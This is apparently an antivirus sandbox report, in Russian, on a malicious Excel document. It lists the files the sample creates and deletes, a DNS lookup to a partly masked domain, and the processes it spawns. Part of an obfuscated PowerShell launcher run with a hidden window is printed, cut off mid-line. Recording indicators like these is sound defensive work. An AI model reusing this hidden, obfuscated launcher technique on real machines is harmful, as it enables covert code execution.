Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function h8d84 {param($fbb6c6)$p112a2='h57367';$gee9a='';for ($i=0; $i -lt $fbb6c6.length;$i+=2){$jc126ac=[convert]::ToByte($fbb6c6.Substring($i,2),16);$gee9a+=[char]($jc1...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\dvuardh_.0.cs
- %TEMP%\r8i9ypda.0.cs
- %TEMP%\ieb8qhux.dll
- %TEMP%\resf02f.tmp
- %TEMP%\cscf01e.tmp
- %TEMP%\ieb8qhux.out
- %TEMP%\ieb8qhux.cmdline
- %TEMP%\ieb8qhux.0.cs
- %TEMP%\qmncvb4c.dll
- %TEMP%\resdac3.tmp
- %TEMP%\cscdab2.tmp
- %TEMP%\qmncvb4c.out
- %TEMP%\qmncvb4c.cmdline
- %TEMP%\qmncvb4c.0.cs
- %TEMP%\5p-ccuhy.dll
- %TEMP%\resc4ca.tmp
- %TEMP%\cscc4b9.tmp
- %TEMP%\5p-ccuhy.out
- %TEMP%\r8i9ypda.cmdline
- %TEMP%\r8i9ypda.out
- %TEMP%\csca5d.tmp
- %TEMP%\resa6e.tmp
- %TEMP%\res412d.tmp
- %TEMP%\csc411d.tmp
- %TEMP%\tnefbk1n.out
- %TEMP%\tnefbk1n.cmdline
- %TEMP%\tnefbk1n.0.cs
- %TEMP%\zyksb6k7.dll
- %TEMP%\res2e03.tmp
- %TEMP%\csc2df3.tmp
- %TEMP%\zyksb6k7.cmdline
- %TEMP%\zyksb6k7.out
- %TEMP%\zyksb6k7.0.cs
- %TEMP%\ghoms4as.dll
- %TEMP%\res1943.tmp
- %TEMP%\csc1932.tmp
- %TEMP%\ghoms4as.out
- %TEMP%\ghoms4as.cmdline
- %TEMP%\ghoms4as.0.cs
- %TEMP%\r8i9ypda.dll
- %TEMP%\tnefbk1n.dll
- %TEMP%\5p-ccuhy.cmdline
- %TEMP%\5p-ccuhy.0.cs
- %TEMP%\akkzrgri.dll
- %TEMP%\f9xerxqa.out
- %TEMP%\csc7030.tmp
- %TEMP%\csc7002.tmp
- %TEMP%\csc6fd3.tmp
- %TEMP%\f9xerxqa.cmdline
- %TEMP%\f9xerxqa.0.cs
- %TEMP%\voobevsh.out
- %TEMP%\voobevsh.cmdline
- %TEMP%\voobevsh.0.cs
- %TEMP%\3odsgh5a.out
- %TEMP%\3odsgh5a.cmdline
- %TEMP%\3odsgh5a.0.cs
- %TEMP%\qu-puucd.out
- %TEMP%\qu-puucd.cmdline
- %TEMP%\qu-puucd.0.cs
- %TEMP%\dvuardh_.out
- %TEMP%\dvuardh_.cmdline
- %TEMP%\csc707f.tmp
- %TEMP%\res6fe3.tmp
- %TEMP%\qu-puucd.dll
- %TEMP%\res7012.tmp
- %TEMP%\csc94fe.tmp
- %TEMP%\akkzrgri.out
- %TEMP%\akkzrgri.cmdline
- %TEMP%\akkzrgri.0.cs
- %TEMP%\44n1ui7f.dll
- %TEMP%\res84d3.tmp
- %TEMP%\csc84b2.tmp
- %TEMP%\44n1ui7f.out
- %TEMP%\44n1ui7f.0.cs
- %TEMP%\44n1ui7f.cmdline
- %TEMP%\f9xerxqa.dll
- %TEMP%\dvuardh_.dll
- %TEMP%\res74c5.tmp
- %TEMP%\3odsgh5a.dll
- %TEMP%\voobevsh.dll
- %TEMP%\res708f.tmp
- %TEMP%\csc74b5.tmp
- %TEMP%\res7051.tmp
- %TEMP%\res950f.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{46ee8540-07b1-4b53-9931-3ad571820294}.tmp
Удаляет следующие файлы
- %TEMP%\res6fe3.tmp
- %TEMP%\resa6e.tmp
- %TEMP%\ieb8qhux.0.cs
- %TEMP%\ieb8qhux.cmdline
- %TEMP%\ieb8qhux.pdb
- %TEMP%\ieb8qhux.out
- %TEMP%\ieb8qhux.dll
- %TEMP%\cscf01e.tmp
- %TEMP%\resf02f.tmp
- %TEMP%\qmncvb4c.cmdline
- %TEMP%\r8i9ypda.0.cs
- %TEMP%\csca5d.tmp
- %TEMP%\qmncvb4c.out
- %TEMP%\qmncvb4c.0.cs
- %TEMP%\cscdab2.tmp
- %TEMP%\resdac3.tmp
- %TEMP%\5p-ccuhy.pdb
- %TEMP%\5p-ccuhy.dll
- %TEMP%\5p-ccuhy.0.cs
- %TEMP%\5p-ccuhy.out
- %TEMP%\5p-ccuhy.cmdline
- %TEMP%\qmncvb4c.dll
- %TEMP%\csc74b5.tmp
- %TEMP%\r8i9ypda.dll
- %TEMP%\tnefbk1n.out
- %TEMP%\tnefbk1n.0.cs
- %TEMP%\tnefbk1n.dll
- %TEMP%\csc411d.tmp
- %TEMP%\res412d.tmp
- %TEMP%\zyksb6k7.cmdline
- %TEMP%\zyksb6k7.dll
- %TEMP%\zyksb6k7.0.cs
- %TEMP%\zyksb6k7.pdb
- %TEMP%\zyksb6k7.out
- %TEMP%\csc2df3.tmp
- %TEMP%\res2e03.tmp
- %TEMP%\ghoms4as.dll
- %TEMP%\ghoms4as.pdb
- %TEMP%\ghoms4as.out
- %TEMP%\ghoms4as.0.cs
- %TEMP%\ghoms4as.cmdline
- %TEMP%\csc1932.tmp
- %TEMP%\res1943.tmp
- %TEMP%\r8i9ypda.cmdline
- %TEMP%\r8i9ypda.out
- %TEMP%\cscc4b9.tmp
- %TEMP%\qmncvb4c.pdb
- %TEMP%\resc4ca.tmp
- %TEMP%\akkzrgri.0.cs
- %TEMP%\akkzrgri.out
- %TEMP%\res708f.tmp
- %TEMP%\3odsgh5a.cmdline
- %TEMP%\3odsgh5a.out
- %TEMP%\3odsgh5a.0.cs
- %TEMP%\voobevsh.out
- %TEMP%\voobevsh.cmdline
- %TEMP%\voobevsh.pdb
- %TEMP%\voobevsh.dll
- %TEMP%\voobevsh.0.cs
- %TEMP%\csc707f.tmp
- %TEMP%\csc7030.tmp
- %TEMP%\3odsgh5a.dll
- %TEMP%\res7051.tmp
- %TEMP%\csc7002.tmp
- %TEMP%\res7012.tmp
- %TEMP%\qu-puucd.dll
- %TEMP%\qu-puucd.0.cs
- %TEMP%\qu-puucd.cmdline
- %TEMP%\qu-puucd.pdb
- %TEMP%\qu-puucd.out
- %TEMP%\csc6fd3.tmp
- %TEMP%\tnefbk1n.pdb
- %TEMP%\r8i9ypda.pdb
- %TEMP%\res74c5.tmp
- %TEMP%\dvuardh_.pdb
- %TEMP%\3odsgh5a.pdb
- %TEMP%\akkzrgri.dll
- %TEMP%\akkzrgri.cmdline
- %TEMP%\akkzrgri.pdb
- %TEMP%\csc94fe.tmp
- %TEMP%\res950f.tmp
- %TEMP%\44n1ui7f.0.cs
- %TEMP%\44n1ui7f.dll
- %TEMP%\44n1ui7f.pdb
- %TEMP%\44n1ui7f.out
- %TEMP%\44n1ui7f.cmdline
- %TEMP%\csc84b2.tmp
- %TEMP%\res84d3.tmp
- %TEMP%\f9xerxqa.0.cs
- %TEMP%\f9xerxqa.dll
- %TEMP%\f9xerxqa.pdb
- %TEMP%\f9xerxqa.out
- %TEMP%\f9xerxqa.cmdline
- %TEMP%\dvuardh_.out
- %TEMP%\dvuardh_.0.cs
- %TEMP%\dvuardh_.cmdline
- %TEMP%\dvuardh_.dll
- %TEMP%\tnefbk1n.cmdline
Сетевая активность
UDP
- DNS ASK dr######i-8272.babyblue.jp
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function h8d84 {param($fbb6c6)$p112a2='h57367';$gee9a='';for ($i=0; $i -lt $fbb6c6.length;$i+=2){$jc126ac=[convert]::ToByte($fbb6c6.Substring($i,2),16);$gee9a+=[char]($jc1...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2E03.tmp" "%TEMP%\CSC2DF3.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zyksb6k7.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1943.tmp" "%TEMP%\CSC1932.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ghoms4as.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA6E.tmp" "%TEMP%\CSCA5D.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\r8i9ypda.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF02F.tmp" "%TEMP%\CSCF01E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ieb8qhux.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDAC3.tmp" "%TEMP%\CSCDAB2.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qmncvb4c.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC4CA.tmp" "%TEMP%\CSCC4B9.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5p-ccuhy.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tnefbk1n.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES950F.tmp" "%TEMP%\CSC94FE.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES84D3.tmp" "%TEMP%\CSC84B2.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\44n1ui7f.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES74C5.tmp" "%TEMP%\CSC74B5.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES708F.tmp" "%TEMP%\CSC707F.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f9xerxqa.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7051.tmp" "%TEMP%\CSC7030.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7012.tmp" "%TEMP%\CSC7002.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6FE3.tmp" "%TEMP%\CSC6FD3.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\voobevsh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3odsgh5a.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qu-puucd.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dvuardh_.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\akkzrgri.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES412D.tmp" "%TEMP%\CSC411D.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tnefbk1n.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2E03.tmp" "%TEMP%\CSC2DF3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zyksb6k7.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1943.tmp" "%TEMP%\CSC1932.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ghoms4as.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA6E.tmp" "%TEMP%\CSCA5D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\r8i9ypda.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF02F.tmp" "%TEMP%\CSCF01E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ieb8qhux.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDAC3.tmp" "%TEMP%\CSCDAB2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qmncvb4c.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC4CA.tmp" "%TEMP%\CSCC4B9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5p-ccuhy.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES950F.tmp" "%TEMP%\CSC94FE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\akkzrgri.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES84D3.tmp" "%TEMP%\CSC84B2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\44n1ui7f.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES74C5.tmp" "%TEMP%\CSC74B5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES708F.tmp" "%TEMP%\CSC707F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f9xerxqa.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7051.tmp" "%TEMP%\CSC7030.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7012.tmp" "%TEMP%\CSC7002.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6FE3.tmp" "%TEMP%\CSC6FD3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\voobevsh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3odsgh5a.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qu-puucd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dvuardh_.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES412D.tmp" "%TEMP%\CSC411D.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
